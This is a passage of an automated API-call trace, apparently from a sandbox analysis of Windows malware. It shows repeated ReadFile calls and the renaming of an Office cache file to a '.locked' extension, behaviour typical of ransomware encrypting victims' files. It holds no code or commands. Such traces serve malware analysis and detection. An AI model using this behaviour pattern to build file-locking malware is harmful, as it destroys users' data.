lpOverlapped=0x0) returned 1 [0031.870] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1da, lpOverlapped=0x0) returned 1 [0031.870] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1d2, lpOverlapped=0x0) returned 1 [0031.870] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1ca, lpOverlapped=0x0) returned 1 [0031.870] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1c2, lpOverlapped=0x0) returned 1 [0031.870] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1ba, lpOverlapped=0x0) returned 1 [0031.870] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1b2, lpOverlapped=0x0) returned 1 [0031.871] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1aa, lpOverlapped=0x0) returned 1 [0031.871] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1a2, lpOverlapped=0x0) returned 1 [0031.871] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x19a, lpOverlapped=0x0) returned 1 [0031.871] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x192, lpOverlapped=0x0) returned 1 [0031.871] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x18a, lpOverlapped=0x0) returned 1 [0031.871] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x182, lpOverlapped=0x0) returned 1 [0031.871] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x17a, lpOverlapped=0x0) returned 1 [0031.871] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x172, lpOverlapped=0x0) returned 1 [0031.871] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x16a, lpOverlapped=0x0) returned 1 [0031.871] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x162, lpOverlapped=0x0) returned 1 [0031.871] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x15a, lpOverlapped=0x0) returned 1 [0031.871] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x152, lpOverlapped=0x0) returned 1 [0031.871] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x14a, lpOverlapped=0x0) returned 1 [0031.871] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x142, lpOverlapped=0x0) returned 1 [0031.872] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x13a, lpOverlapped=0x0) returned 1 [0031.872] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x132, lpOverlapped=0x0) returned 1 [0031.872] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x12a, lpOverlapped=0x0) returned 1 [0031.872] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x122, lpOverlapped=0x0) returned 1 [0031.872] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x11a, lpOverlapped=0x0) returned 1 [0031.872] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x112, lpOverlapped=0x0) returned 1 [0031.872] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x10a, lpOverlapped=0x0) returned 1 [0031.872] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x102, lpOverlapped=0x0) returned 1 [0031.872] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xfa, lpOverlapped=0x0) returned 1 [0031.872] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xf2, lpOverlapped=0x0) returned 1 [0031.872] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xea, lpOverlapped=0x0) returned 1 [0031.872] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xe2, lpOverlapped=0x0) returned 1 [0031.872] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xda, lpOverlapped=0x0) returned 1 [0031.872] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xd2, lpOverlapped=0x0) returned 1 [0031.872] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xca, lpOverlapped=0x0) returned 1 [0031.873] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xc2, lpOverlapped=0x0) returned 1 [0031.873] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xba, lpOverlapped=0x0) returned 1 [0031.873] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xb2, lpOverlapped=0x0) returned 1 [0031.873] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xaa, lpOverlapped=0x0) returned 1 [0031.873] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xa2, lpOverlapped=0x0) returned 1 [0031.873] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x9a, lpOverlapped=0x0) returned 1 [0031.873] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x92, lpOverlapped=0x0) returned 1 [0031.873] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x8a, lpOverlapped=0x0) returned 1 [0031.873] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x82, lpOverlapped=0x0) returned 1 [0031.873] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x7a, lpOverlapped=0x0) returned 1 [0031.873] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x72, lpOverlapped=0x0) returned 1 [0031.873] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6a, lpOverlapped=0x0) returned 1 [0031.873] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x62, lpOverlapped=0x0) returned 1 [0031.873] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5a, lpOverlapped=0x0) returned 1 [0031.873] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x52, lpOverlapped=0x0) returned 1 [0031.874] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4a, lpOverlapped=0x0) returned 1 [0031.874] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x42, lpOverlapped=0x0) returned 1 [0031.874] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3a, lpOverlapped=0x0) returned 1 [0031.874] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x32, lpOverlapped=0x0) returned 1 [0031.874] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2a, lpOverlapped=0x0) returned 1 [0031.874] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x22, lpOverlapped=0x0) returned 1 [0031.874] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1a, lpOverlapped=0x0) returned 1 [0031.874] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x12, lpOverlapped=0x0) returned 1 [0031.874] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xa, lpOverlapped=0x0) returned 1 [0031.874] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2, lpOverlapped=0x0) returned 1 [0031.874] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x0, lpOverlapped=0x0) returned 1 [0031.874] AreFileApisANSI () returned 1 [0031.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0031.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0031.874] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x156) returned 0x80cde8 [0031.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x80cde8, cchWideChar=82 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 82 [0031.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x80ce8c, cchWideChar=89 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.locked") returned 89 [0031.875] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.locked"), dwFlags=0x2) returned 1 [0031.875] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80cde8 | out: hHeap=0x7f0000) returned 1 [0031.875] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.875] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.875] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0031.875] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0031.875] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.875] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x3, dwReserved1=0x3, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0031.875] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.875] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0031.875] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0031.875] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.875] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0031.875] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.875] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0031.875] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0031.875] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.876] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.876] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.876] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.876] AreFileApisANSI () returned 1 [0031.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0031.876] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x94) returned 0x806668 [0031.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0031.876] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x42cc58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0031.876] GetFileType (hFile=0xc8) returned 0x1 [0031.876] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.876] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cd00 | out: lpNewFilePointer=0x0) returned 1 [0031.877] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42ccb4 | out: lpNewFilePointer=0x0) returned 1 [0031.877] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc84 | out: lpNewFilePointer=0x0) returned 1 [0031.877] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.877] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.877] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc84 | out: lpNewFilePointer=0x0) returned 1 [0031.877] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.877] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.878] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x828808 [0031.878] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x75e, lpOverlapped=0x0) returned 1 [0031.882] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.882] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.882] GetLastError () returned 0x0 [0031.882] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.882] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.882] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.883] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.883] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x756, lpOverlapped=0x0) returned 1 [0031.883] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.883] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.883] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.883] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.883] GetLastError () returned 0x0 [0031.883] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.883] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.884] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.884] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.884] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x74e, lpOverlapped=0x0) returned 1 [0031.884] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.884] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.884] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.885] SetFilePointerEx (in: hFile=0xc8, 